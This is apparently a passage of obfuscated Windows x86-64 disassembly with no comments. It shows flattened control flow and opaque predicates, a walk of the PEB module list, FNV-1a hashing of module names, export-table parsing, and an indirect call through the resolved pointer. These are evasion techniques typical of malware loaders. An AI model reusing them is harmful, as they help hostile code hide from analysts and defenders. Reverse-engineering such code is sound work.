cmp byte [rbp + 0x4ee], 0
setne byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x4c4]
jmp 0x140082ca0
cmp byte [rbp + 0x4ef], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x140082ca0
mov dword [rbp + 0x430], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x4d8]
mov ecx, dword [rbp + 0x430]
mov dword [rbp + 0x488], ecx
mov r9d, r8d
jmp 0x140082ca0
mov eax, dword [rbp + 0x488]
mov dword [rbp + 0x4a4], eax
mov dword [rbp + 0x4e8], r9d
mov qword [rbp + 0x468], r10
mov eax, dword [rbp + 0x448]
jmp 0x140082ca0
cmp eax, 0xc6b502bf
jne 0x140082ca0
mov eax, dword [rbp + 0x430]
cmp eax, 0x484ace07
mov eax, 0xfdc56461
mov ecx, 0x2f7a9bce
cmove eax, ecx
jmp 0x140082730
lea rax, [rbp - 0x50]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov rax, qword [rbp + 0x408]
mov qword [rbp - 0x50], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4c8]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x4d8]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word [rax + rax]
cmp edx, 0x1be0c2ca
jg 0x140084b30
cmp edx, 0xd6cac8db
je 0x140084b62
cmp edx, 0xf5647b0b
jne 0x140084b10
jmp 0x140084c1b
cmp edx, 0x1be0c2cb
je 0x140084b74
cmp edx, 0x45f0e8c0
jne 0x140084b10
movzx eax, byte [rbp + 0x4c8]
cmp byte [rbp + 0x4d8], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x140084b10
mov rax, qword [rbp + 0x408]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x140084b10
mov edx, 0xd6cac8db
jmp 0x140084b10
mov eax, dword [rbp + 0x4a8]
mov eax, 0xa6b69c53
jmp 0x140082730
mov rax, qword [rbp - 0x48]
mov ecx, dword [rbp + 0x4a8]
cmp ecx, dword [rax + 0x18]
sete byte [rbp + 0x4ed]
mov eax, dword [0x1400f2730]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400f2734], 0xa
setge cl
setl r8b
mov edx, r8d
xor dl, al
mov ebx, edx
xor bl, 1
and cl, al
or bl, cl
xor bl, dl
xor cl, dl
mov edx, ebx
not dl
or dl, cl
and r8b, al
xor dl, r8b
test dl, 1
mov ecx, 0x49028e28
mov eax, 0x955956c9
cmovne ecx, eax
test bl, bl
mov eax, 0x955956c9
cmovne eax, ecx
test r8b, r8b
cmove eax, ecx
jmp 0x140082730
mov eax, dword [rbp + 0x4a8]
add eax, 1
mov dword [rbp + 0x494], eax
mov eax, 0xa223f304
jmp 0x140082730
mov qword [rbp + 0x468], rcx
mov rcx, qword [rbp + 0x468]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x408]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4c8]
cmp edi, 0xa
setge al
setl byte [rbp + 0x4d8]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp - 0x48], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp - 0x40], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop word cs:[rax + rax]
nop
cmp ecx, 0xfb599b2d
jg 0x140084d00
cmp ecx, 0x97bfe48f
je 0x140084d17
cmp ecx, 0xbfa4195b
jne 0x140084ce0
jmp 0x140084d48
cmp ecx, 0xfb599b2e
je 0x140084d44
cmp ecx, 0x80d5946
jne 0x140084ce0
mov ecx, 0xfb599b2e
jmp 0x140084ce0
movzx eax, byte [rbp + 0x4c8]
movzx ecx, byte [rbp + 0x4d8]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140084ce0
mov ecx, ebx
jmp 0x140084ce0
test r8d, r8d
setne byte [rbp + 0x468]
cmp byte [rbp + 0x468], 0
mov eax, 0x3673769e
mov ecx, 0xe7ddab48
cmovne eax, ecx
jmp 0x140082730
mov eax, ecx
cmp ecx, 0xd3efdb13
jne 0x140082730
mov rax, qword [rbp + 0x428]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0x47171e81
jmp 0x1400826e0
mov rax, qword [rbp + 0x428]
mov rdi, qword [rax]
mov eax, dword [0x1400f2728]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x1400f272c], 0xa
setl bl
mov ecx, ebx
and cl, al
xor al, bl
or bl, dl
xor al, 1
and al, bl
mov edx, ecx
xor dl, al
mov edx, 0x9e7ae754
mov ebx, 0xc6c4881f
cmovne edx, ebx
test al, al
mov eax, 0x9e7ae754
cmovne eax, edx
mov qword [rbp + 0x4b0], rdi
test cl, cl
cmove eax, edx
jmp 0x14007ff60
mov rax, qword [rbp + 0x428]
mov eax, 0xdfc809e7
jmp 0x14007ff60
mov rax, qword [rbp + 0x4b0]
mov dword [rsp + 0x20], 0
lea rcx, [0x1400e5924]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
je 0x14008bae6
mov eax, dword [0x1400f2708]
mov ecx, dword [0x1400f270c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x468]
mov edx, 0xe45bd16b
mov esi, 0x655bcac1
cmove esi, edx
cmp ecx, 0xa
setl byte [rbp - 0x50]
mov edi, 0x655bcac1
cmovl esi, edx
mov edx, 0x8aa159b2
nop word cs:[rax + rax]
nop
cmp edx, 0x6465c0b0
jg 0x140084ea0
cmp edx, 0x8aa159b2
je 0x140084eb7
cmp edx, 0xe45bd16b
jne 0x140084e80
jmp 0x140084eec
cmp edx, 0x6465c0b1
je 0x140084ee8
cmp edx, 0x655bcac1
jne 0x140084e80
mov edx, 0x6465c0b1
jmp 0x140084e80
movzx edx, byte [rbp + 0x468]
movzx ebx, byte [rbp - 0x50]
mov ecx, edx
xor cl, bl
mov r8d, edx
or r8b, bl
mov eax, ecx
not al
not dl
or dl, bl
and dl, al
xor dl, r8b
xor dl, cl
test dl, 1
mov edx, 0x6465c0b1
cmovne edx, edi
jmp 0x140084e80
mov edx, esi
jmp 0x140084e80
lea rax, [0x1400f2120]
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov qword [rbp + 0x458], rax
mov eax, 0x946470b0
mov r13d, 0x58a11e19
nop word cs:[rax + rax]
cmp eax, 0xbbe3b739
je 0x140084f50
cmp eax, 0x96c966fb
je 0x140086e6e
cmp eax, 0x946470b0
jne 0x140084f20
cmp qword [rbp + 0x458], 0
mov eax, 0x96c966fb
mov ecx, 0xbbe3b739
cmove eax, ecx
jmp 0x140084f20
lea rax, [rbp - 0x50]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov r9, qword gs:[0x60]
mov eax, dword [0x1400f2710]
mov ecx, dword [0x1400f2714]
lea r11d, [rax - 1]
imul r11d, eax
mov dword [rbp + 0x400], r11d
and r11d, 1
sete dl
mov dword [rbp + 0x438], ecx
cmp ecx, 0xa
setge bl
setl r8b
mov ecx, r8d
xor cl, dl
mov eax, ecx
xor al, 1
and r11b, r8b
or r11b, al
xor r11b, cl
mov eax, r11d
xor al, 1
and bl, dl
or bl, al
or r8b, dl
xor r8b, cl
mov eax, r8d
xor al, bl
mov ecx, eax
not cl
mov edx, r8d
not dl
and dl, bl
or dl, cl
xor bl, 1
or bl, r8b
xor dl, bl
test dl, 1
mov ecx, 0x8353906e
mov edi, 0x71946ac1
cmovne ecx, edi
test al, 1
mov r14d, 0x71946ac1
cmovne r14d, ecx
test bl, 1
cmove r14d, ecx
test dl, 1
mov rcx, qword [r9 + 0x18]
mov r9, qword [rcx + 0x10]
mov edx, dword [0x1400f2718]
mov eax, 0x8353906e
cmovne r14d, eax
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
sete dl
cmp dword [0x1400f271c], 0xa
setge r10b
setl al
mov ecx, eax
or cl, dl
mov edi, 0xc508309f
mov esi, 0xcc44ccd7
cmovne edi, esi
mov dword [rbp + 0x3e0], edi
mov rdi, qword [r9]
and r10b, dl
xor dl, al
or bl, al
and bl, dl
xor bl, r10b
xor dl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ebx, 0xc508309f
mov ecx, 0xf10f0061
cmovne ebx, ecx
mov qword [rbp - 0x50], rdi
test dl, dl
cmovne ebx, ecx
mov qword [rbp + 0x3e8], rdi
mov qword [rbp - 0x48], rdi
test al, al
cmovne ebx, ecx
mov dword [rbp + 0x488], ebx
mov eax, dword [0x1400f2720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x809b86b9
mov eax, 0xd7e19ab2
cmovne edx, eax
mov ebx, 0xd7e19ab2
mov ecx, 0xb30e34d3
cmove ebx, ecx
cmp dword [0x1400f2724], 0xa
mov eax, 0x809b86b9
cmovl edx, eax
mov dword [rbp + 0x48c], edx
cmovl ebx, ecx
mov dword [rbp + 0x490], ebx
test r11b, r11b
mov eax, 0x8353906e
cmovne eax, r14d
test r8b, r8b
cmove eax, r14d
mov dword [rbp + 0x4c0], eax
mov eax, 0x3a8cbc47
nop
cmp eax, 0x52b0d9ba
jle 0x140085120
cmp eax, 0x52b0d9bb
je 0x140086d15
cmp eax, 0x62abb3bd
je 0x140086e53
cmp eax, 0x681faaa4
jne 0x1400850f0
mov eax, 0x62abb3bd
xor edi, edi
jmp 0x1400850f0
cmp eax, 0xa588d843
je 0x140086dfd
cmp eax, 0x3a8cbc47
jne 0x1400850f0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x60]
movzx ecx, word [rcx + 0x58]
and ecx, 0xfffffffe
add rcx, rax
mov qword [rbp + 0x4d8], rcx
mov ecx, 0x811c9dc5
mov edx, 0xfdab94d
nop word cs:[rax + rax]
cmp edx, 0xd7e19ab1
jg 0x1400851a0
cmp edx, 0x809b86b9
je 0x140086e15
cmp edx, 0x9ad9fbe2
je 0x140085200
cmp edx, 0xb30e34d3
jne 0x140085170
mov edx, dword [rbp + 0x48c]
jmp 0x140085170
cmp edx, 0xd7e19ab2
je 0x1400851e5
cmp edx, 0x354aae89
je 0x1400851ec
cmp edx, 0xfdab94d
jne 0x140085170
mov dword [rbp + 0x4c8], ecx
mov qword [rbp + 0x468], rax
mov rdx, qword [rbp + 0x4d8]
mov rbx, qword [rbp + 0x468]
cmp rbx, rdx
mov edx, 0x9ad9fbe2
mov ebx, 0x354aae89
cmove edx, ebx
jmp 0x140085170
mov edx, 0xb30e34d3
jmp 0x140085170
mov edx, dword [rbp + 0x490]
jmp 0x140085170
mov qword [rbp + 0x410], rdi
test byte [rbp + 0x400], 1
mov rax, qword [rbp + 0x468]
movsx r8d, byte [rax]
mov eax, dword [rbp + 0x4c8]
mov dword [rbp + 0x4c4], eax
sete byte [rbp + 0x4a4]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4e8]
mov eax, 0x462bec05
jmp 0x140085260
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0x3117fdc3
jle 0x1400852b0
cmp eax, 0x58a11e18
jg 0x140085c90
cmp eax, 0x3117fdc4
je 0x140085cc8
cmp eax, 0x462bec05
jne 0x140085260
movzx ecx, byte [rbp + 0x4a4]
cmp byte [rbp + 0x4e8], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140085260
cmp eax, 0x1f53ad1a
jg 0x140085cb0
cmp eax, 0x8353906e
je 0x140085cea
cmp eax, 0xb9e70da7
jne 0x140085260
mov r14d, dword [rbp + 0x4b0]
mov eax, r14d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r14d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r12d, ecx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, eax
xor r12d, 0x81550b9
or r12d, ecx
mov eax, r14d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r14d
and edx, 0x9f67032c
xor edx, eax
mov ebx, edx
xor ebx, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, ebx
mov ebx, edx
xor ebx, 0xfec98f6c
or ebx, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, ebx
mov edx, r12d
and edx, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, edx
mov edx, ecx
mov eax, ecx
not r12d
and r12d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r12d, eax
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r11d, r12d
and r11d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r11d
xor eax, r12d
xor eax, 0x400290
xor r11d, 0x400290
and r11d, r12d
or r11d, eax
mov r9d, r11d
xor r9d, 0xf7bc1db4
mov eax, r11d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r11d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r11d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0xecc1695
mov edx, eax
xor edx, 0xe8a0eb7e
mov r15d, ecx
xor r15d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov ebx, ecx
xor ebx, 0x844653a6
and ebx, r15d
or ecx, 0x820a4727
mov edi, eax
or edi, 0x7df5b8d8
xor edi, 0x7fffbcd9
mov r10d, eax
xor r10d, 0x6aaaac59
and r10d, edx
or r10d, edi
mov edx, ecx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ecx, 0x864e57a7
and ecx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or ecx, ebx
xor ecx, r10d
or esi, r15d
mov eax, esi
and eax, 0xecc1695
xor eax, ecx
xor eax, 0xecc1695
not esi
and esi, ecx
or esi, eax
mov eax, esi
and eax, 0x3d6ad4f5
mov r15d, esi
and r15d, 0xc2940808
mov ecx, esi
or ecx, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r10d, eax
xor r10d, 0x1501f783
and r10d, ecx
xor eax, 0x3d6ad4f5
mov edx, eax
and edx, 0x354014c4
and ecx, 0x4a2ee339
or ecx, edx
or eax, ebx
xor ecx, ebx
not ebx
mov edx, esi
or edx, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r15d
mov edi, edx
and edi, 0x8febd69e
and esi, 0x10000001
or esi, edi
not edx
and edx, r10d
and r10d, 0x3d6af7f5
xor r10d, esi
xor r10d, 0x9fead69d
or edx, r10d
xor edx, ebx
xor ecx, 0xb5d11cc6
and ecx, eax
or ecx, edx
mov eax, ecx
and eax, 0xd25c9294
or eax, 0x28034442
and ecx, 0x2da36d6b
xor ecx, eax
mov eax, ecx
xor eax, 0x156990b7
mov edx, ecx
xor edx, 0xea966f48
or edx, eax
xor ecx, 0x60a362d4
and ecx, edx
mov eax, ecx
xor eax, 0x8a350d9c
or eax, edx
xor ecx, edx
xor ecx, 0x75caf263
and ecx, eax
mov eax, r14d
and eax, 0xbae01e84
mov edx, r14d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, eax
mov eax, r14d
and eax, 0x80000
mov ebx, edx
and ebx, 0xb4240811
and edx, 0x4bd3f7ee
add eax, ebx
add eax, 0x52e686
xor eax, edx
and r14d, 0xf133e96a
mov esi, r14d
xor r14d, eax
xor eax, 0x9012e802
xor esi, 0xf133e96a
and esi, eax
xor r14d, 0x672d077d
or esi, r14d
mov r10d, esi
not r10d
and r10d, ecx
mov r15d, ecx
or r15d, 0x8e000724
mov edx, ecx
and edx, 0x8e000724
and r14d, 0xc000004
mov eax, esi
and eax, 0x82000720
or eax, r14d
mov ebx, ecx
xor ebx, 0x8a000104
and ebx, edx
not edx
mov r14d, r15d
and r14d, 0xfb0fa016
mov edi, edx
and edi, 0xea028104
or ebx, edi
mov edi, ecx
and edi, 0xf058c9
or edi, r14d
xor edi, ebx
xor edi, 0x11fd79db
mov ebx, ecx
and ebx, 0x609ee042
and r15d, 0x9f611a9d
or r15d, ebx
mov ebx, ecx
and ebx, 0x520
and edx, 0x9f611a9d
add edx, ebx
add edx, 0x609ee042
xor edx, r15d
xor ecx, 0x8e000724
or ecx, edx
not ecx
or ecx, edi
mov edx, eax
and edx, 0x6000000
and esi, 0x71fff8db
or esi, edx
or eax, 0x262e5009
xor eax, esi
mov edx, eax
xor edx, 0xa82e572d
xor eax, 0x57d1a8d2
and eax, ecx
not ecx
and ecx, edx
or eax, ecx
mov edx, r10d
and edx, 0xc64177d6
or edx, 0x39268801
mov ecx, r10d
and ecx, 0x39be8829
xor ecx, edx
mov edx, ecx
xor edx, 0xff67ffd7
mov esi, eax
xor esi, 0x39be8829
or esi, edx
xor ecx, eax
xor ecx, 0x39268801
and ecx, edx
xor ecx, esi
not ecx
and eax, r10d
mov edx, eax
and edx, 0xa32261d0
or edx, 0x10999806
mov esi, eax
and esi, 0x5cdd9e2f
xor esi, edx
xor esi, ecx
and eax, ecx
mov ecx, esi
xor ecx, eax
xor ecx, 0x10999806
xor esi, 0x10999806
and esi, eax
or esi, ecx
mov ecx, esi
mov r10d, esi
mov edi, esi
mov r15d, esi
mov edx, esi
and edx, 0x310718ea
or edx, 0x6f8a511
mov r14d, esi
and r14d, 0xcef8e715
xor r14d, edx
mov edx, r14d
xor edx, 0xf7cb4c5b
or edx, esi
xor r14d, esi
and esi, 0x190a9b13
or ecx, 0xe6f564ec
and r10d, 0xe6f564ec
mov eax, esi
xor eax, 0xc026d4ea
and eax, ecx
or edi, 0xfffd6ffd
mov ebx, edi
and ebx, 0xb0495454
and r15d, 0x28002
or r15d, ebx
not edi
and edi, eax
and eax, 0x592e9bbb
xor eax, r15d
xor eax, 0x304b9016
or edi, eax
xor edi, r10d
xor edi, 0xd92c4ff9
xor esi, 0x190a9b13
mov eax, esi
and eax, 0x21101
and ecx, 0xddf8ce1a
or ecx, eax
or esi, r10d
xor ecx, r10d
xor ecx, 0x220731e5
and ecx, esi
or ecx, edi
mov eax, ecx
xor eax, 0x190a9b13
xor ecx, 0x17c68da6
or ecx, eax
xor r14d, 0x834b3a4
and r14d, edx
mov eax, ecx
not eax
and eax, r14d
xor r14d, ecx
xor r14d, eax
mov edi, r11d
xor edi, 0x843e24b
mov esi, r11d
mov r10d, r11d
mov eax, r11d
mov ecx, r11d
and ecx, 0xf4e5e31e
xor r11d, 0x359feaa
and r11d, r9d
mov edx, ecx
xor edx, r11d
xor edx, 0x41e20a
xor ecx, 0x41e20a
and ecx, r11d
or ecx, edx
mov edx, ecx
xor edx, 0x6653709e
and edx, edi
or edi, r9d
and r12d, 0x82000820
and esi, 0x1098338a
or esi, r12d
and r10d, 0x6d67c455
or r10d, esi
mov esi, r10d
xor esi, 0x6524261e
mov ebx, edi
and ebx, 0x6d67c455
xor eax, edi
and edi, 0x92983baa
or edi, 0x64244445
xor edi, ebx
mov ebx, edi
xor ebx, 0xf6bc7fef
xor r10d, 0x9adbd9e1
and r10d, ebx
xor edi, 0x9438010
and edi, esi
xor eax, 0xf7bc1db4
or eax, r9d
not eax
or eax, edi
or eax, r10d
mov r10d, eax
not r10d
mov ebx, eax
and ebx, 0x6d496c7f
mov edi, ecx
xor edi, 0x99ac8f61
and edi, r9d
or edi, edx
xor ecx, edi
xor ecx, 0x6653709e
and ecx, edi
mov edx, eax
xor edx, 0x5014c23
and edx, ebx
and ebx, ecx
mov esi, eax
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov edi, ecx
and edi, 0x85b5cfa3
or edi, 0x840004c
and ecx, 0x7a4a305c
xor ecx, edi
xor ecx, edx
mov edx, ecx
mov edi, ebx
xor edi, ecx
xor edi, 0x720a3010
mov esi, edi
and esi, ebx
xor ecx, 0x60082010
and ecx, ebx
not ebx
xor edx, 0x8df5cfef
and edx, ebx
or edx, ecx
xor edx, esi
and ecx, edi
or ecx, edx
mov edx, r10d
and edx, eax
and eax, 0x29086950
and r10d, 0xd6f7968f
or r10d, eax
xor r10d, 0xd6f7968f
and edx, 0xffffffdf
or edx, r10d
mov r11d, ecx
xor r11d, 0x6d496c5f
lea r9d, [rdx + 0x20]
mov eax, ecx
xor eax, 0xe8f03d9b
mov esi, ecx
xor esi, 0x92b693a0
or esi, eax
mov ebx, ecx
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or eax, ebx
mov r15d, edx
and r15d, 0x85b951c4
mov edi, edx
xor edi, 0x85b951e4
or edi, r15d
not esi
and esi, ebx
xor esi, eax
mov eax, edi
and eax, 0xffffffdf
mov ebx, eax
xor ebx, 0x6727c902
xor edx, 0x291100
and edx, r15d
mov r10d, ebx
xor eax, 0xffffffdf
mov r12d, eax
and r12d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r12d
or eax, r15d
xor ebx, r15d
or r15d, 0x8594c8c6
xor edx, r15d
or r10d, 0x8594c8c6
or edi, 0x7a6b3739
xor edi, r10d
mov r10d, edi
xor r10d, 0x81000
and r10d, edx
not edx
xor edi, 0xe7b341e4
and edi, edx
or edi, r10d
xor ebx, 0x7fefcd03
and ebx, eax
or ebx, edi
mov eax, esi
xor eax, 0x1ac5778a
mov edx, ebx
and edx, 0xe53a8875
or edx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, edx
mov edx, ebx
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor ebx, 0x1280400a
and ebx, eax
or ebx, esi
and r11d, r9d
xor ecx, r9d
xor ecx, 0x6d496c5f
or ecx, r11d
mov edx, ebx
and edx, 0x5bce1f7c
xor edx, ecx
mov eax, ebx
xor eax, ecx
not ecx
or ecx, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor edx, ebx
and ecx, eax
mov eax, edx
xor eax, ecx
xor eax, 0xe53fe4ff
xor edx, 0xe53fe4ff
and edx, ecx
or edx, eax
mov ecx, edx
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov eax, edx
and eax, 0xa9c1d365
xor eax, ecx
mov ebx, edx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, edx
xor ebx, 0x9005300
and eax, ebx
mov ecx, eax
xor ecx, edx
and ecx, ebx
mov ebx, edx
and ebx, 0xa4a3d9c2
and edx, 0x5b5c263d
or edx, 0xa0a01800
xor edx, ebx
mov ebx, edx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor edx, 0x403c1c2
and edx, edi
xor eax, 0x18080420
and eax, ebx
or eax, ecx
or eax, edx
mov edx, eax
not edx
and edx, r14d
mov r10d, r14d
xor r10d, eax
xor r10d, edx
mov r11d, r14d
and r11d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r9d, eax
and r9d, 0x66fc66a2
and r14d, 0x66fc66a2
or r14d, 0x98008855
and edx, 0xae0a6a3c
mov ebx, esi
and ebx, 0x11019141
or ebx, edx
mov edx, ebx
xor edx, 0x51f595c3
mov edi, ebx
xor ebx, 0xae0a6a3c
mov r15d, ebx
or ebx, r9d
not r9d
xor edi, 0xc263434a
and edi, edx
and esi, 0x91029009
or esi, edi
mov edi, eax
and edi, 0x60080022
mov ecx, r9d
and ecx, 0xc602114
add ecx, edi
add ecx, 0x3020681
mov edi, eax
and edi, 0x2944680
xor edi, ecx
mov ecx, edi
xor ecx, 0x630b0ee3
xor edi, 0x9cf4f11c
and edi, esi
not esi
and esi, ecx
or edi, esi
and r15d, 0x89021805
and edx, 0x10ddc158
or edx, r15d
and eax, 0x662026a2
and r9d, 0x10ddc158
or r9d, eax
xor r9d, edx
not r9d
and r9d, ebx
or r9d, edi
xor r9d, r11d
xor r9d, r14d
mov eax, r9d
xor eax, 0x1031108
mov ecx, r10d
xor r9d, 0xfefceef7
and r9d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r9d, eax
or r9d, ecx
mov eax, 0x1f53ad1b
jmp 0x140085260
cmp eax, 0x58a11e19
je 0x140085241
cmp eax, 0x71946ac1
jne 0x140085260
mov eax, 0x3117fdc4
jmp 0x140085260
cmp eax, 0x22c0f4b1
jne 0x140085cff
mov eax, 0x1f53ad1b
mov r9d, dword [rbp + 0x4b0]
jmp 0x140085260
mov dword [rbp + 0x4b0], r8d
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x41
setge byte [rbp + 0x430]
mov eax, dword [rbp + 0x4c0]
jmp 0x140085260
cmp byte [rbp + 0x430], 0
mov eax, 0x22c0f4b1
cmovne eax, r13d
jmp 0x140085260
cmp eax, 0x1f53ad1b
jne 0x140085260
mov esi, dword [rbp + 0x4c4]
mov eax, esi
and eax, 0xa06206ca
mov ecx, esi
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r14d, eax
or r14d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r14d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r14d
and r14d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r14d, edx
xor r14d, ecx
mov eax, r14d
and eax, 0x8b181a5c
or eax, 0x34434021
and r14d, 0x74e7e5a3
xor r14d, eax
mov eax, r14d
xor eax, 0x2feabccf
mov ecx, r14d
xor ecx, 0xd0154330
mov edx, r14d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r14d, 0xf77ca13a
and r14d, eax
or r14d, edx
or ecx, eax
xor r14d, 0x2769e20a
and r14d, ecx
mov eax, r14d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r12d, eax
and r12d, 0x1fbc0278
xor r12d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r12d
xor ecx, 0x24c1653b
xor r12d, 0x2441652b
and r12d, eax
or r12d, ecx
mov eax, esi
and eax, 0xfb1401a1
or eax, 0x688008
mov r11d, esi
and r11d, 0x4ebfe5e
xor r11d, eax
mov eax, r11d
xor eax, 0xbaad4363
or r11d, 0x453a3c94
xor r11d, 0x457abc9c
or r11d, eax
mov eax, esi
and eax, 0xbac5c36b
mov ecx, r11d
xor ecx, 0x29379af7
mov edx, esi
